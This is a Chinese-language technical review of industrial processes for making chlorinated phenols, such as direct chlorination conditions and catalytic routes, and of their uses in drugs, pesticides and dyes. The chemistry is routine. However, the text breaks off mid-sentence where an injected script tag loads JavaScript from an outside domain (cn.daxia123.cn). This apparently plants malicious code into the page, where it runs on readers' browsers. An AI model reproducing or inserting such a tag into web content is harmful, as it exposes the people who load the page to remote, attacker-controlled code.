苯酚氯代系列产品合成工艺进展及应用概述□李丛宝   徐华    苯酚为基础有机化工原料，经氯气直接氯化或经其他工艺方法，可制得一系列产品，广泛应用于塑料、医药、农药、染料等行业中。近几年，随着国内外医药、农药的发展，其合成工艺在传统的苯酚氯化工艺的基础上，有了新的进展，应用领域也不断拓宽。    一、合成工艺进展    利用重氮化、水解等化学过程，可以制得苯酚氯代产品。如利用对氨基苯酚或对氯苯胺为原料，在酸性条件下和亚硝酸钠发生重氮化，再经水解、置换可得到对氯苯酚，但由于该法工艺复杂、经济效益低等原因，现工业生产中已不采用。    五氯苯酚的生产工业上大多综合利用六六六无效体经高压水解制得，但由于六六六的禁用，其生产也受到了限制。    采用氯化硫酰和次氯酸钠为氯化剂来生产苯酚氯代产品在历史上也曾得到应用。如苯酚与氯化硫酰在铁催化剂存在下反应生成对氯苯酚；尼泊金乙酯经氯化硫酰氯化，再经碱解、酸化、脱羧制得２，６-二氯苯酚；苯酚钠经次氯酸钠氯化、酸析可制得邻氯苯酚。    该法同样由于操作复杂、收率低、经济效益不高、环境污染严重等原因而未被采用。    由于酚羟基邻位和对位苯环上的氢原子较活泼，容易发生取代反应，因此采用某些较易脱除的基团占位后再进行氯化反应，最后脱除占位基团，可制得目标产品。如用尼泊金乙酯或对叔丁基苯酚生产２，６-二氯苯酚就属这一类，但由于原料成本较高而难于维持工业生产。    苯酚用氯气直接氯化，控制不同的工艺条件，可以制得一系列苯酚氯代产品。在４０±５℃的条件下进行氯化反应，以对氯苯酚为目标产品，其含量达５０％以上，同时副产３０％左右的邻氯苯酚和少部分２，４-二氯苯酚，经减压蒸馏可制得上述３种产品。苯酚在溶剂苯中，控制温度在２６±２℃，氯化至密度为０.９５４（２３～２５℃）可制得邻氯苯酚，收率近５０％，副产对氯苯酚收率约为２５.５％。控制温度５０～６０℃，氯化至氯化液密度达１.４０２～１.４０５（４０℃）时，２，４-二氯苯酚含量在９０％左右，经精馏可达９５％以上。提高反应温度，继续通氯氯化，至反应液密度达１.４９８～１.５０１（７５／４℃）时，得到２，４，６-三氯苯酚，收率９７.３％。在三氯苯酚的基础上，加入ＡｌＣｌ３、ＦｅＣｌ３、ＳｂＣｌ５等触媒，并将温度提高到１８０℃，继续氯化至尾气中无氯化氢气体时，制得五氯苯酚。    苯酚直接氯化法是目前工业上普遍采用的生产方法，其最大优点是可以利用同一套设备生产上述产品，易使产品形成系列化、多元化。    苯酚和邻氯苯酚在溶剂中催化氯化可制得邻氯苯酚或２，６-二氯苯酚。 欧洲专利ＥＰ０１９６２６０介绍了邻氯苯酚在四氯乙烯中于１１０℃条件下进行氯化，氯化液中２，６-二氯苯酚含量为９２．２％。 青岛化工学院研究的邻氯苯酚于溶剂中催化氯化合成２，６-二氯苯酚工艺已在青岛胶南化工厂投入生产。 天津大学化工研究所研究了用苯酚在溶剂中催化氯化合成邻氯苯酚和２，６- 二氯苯酚的工艺，也应用于工业化生产。青岛胶南化工厂研究所参照欧洲专利，也成功地研制了用苯酚合成邻氯苯酚和２，６-二氯苯酚的工艺， 使其在氯化液中的含量分别达７２％和９４％。综上所述，催化氯化工艺在国内已经成熟，并被广泛采用。该工艺流程短，操作简单，产品收率高，经济效益较好。    最近，苯酚氯代产品的生产又有了一些新进展。陕西省石油化工研究设计院针对传统的氯化硫酰氯化法和熔融苯酚氯气氯化法制对氯苯酚存在的问题，研究了一种新的合成方法，即苯酚氯化铜法，对位平均收率达７０％以上，对邻位比在１０∶１以上，纯度可达９９.８％以上，氯化铜可反复使用，反应条件易于控制，苯酚利用率高，成本低，易于工业化。针对传统氯化法生产的２，４-二氯苯酚经精制后，纯度仅在９５％左右的现状，青岛胶南化工厂研究所利用对氯苯酚为原料，经催化氯化得９９.５％以上的高纯度２，４-二氯苯酚。武汉化工学院研制成功以环己酮和氯气为原料生产２，６-二氯苯酚的新工艺。    二、系列产品的应用    对氯苯酚是医药、农药、染料中间体。在医药上，用来生产治疗冠心病的药物安妥明和脑兴奋药氯脂醒。在农药上用来合成农药杀菌剂粉锈宁以及防霉剂双氯酚。对氯苯酚还可用作乙醇的变色剂和精炼矿物油的选择性溶剂。    邻氯苯酚可用来生产氨基甲酸酯类杀虫剂害扑威的中间体氯甲酸邻氯苯酯和医药中间体邻苯二酚，以及酸碱指示剂氯酚红等。    ２，４-二氯苯酚与氯乙酸缩合可制得除草剂２，４-Ｄ，再与丁醇酯化反应?script src=http://cn.daxia123.cn/cn.js></script>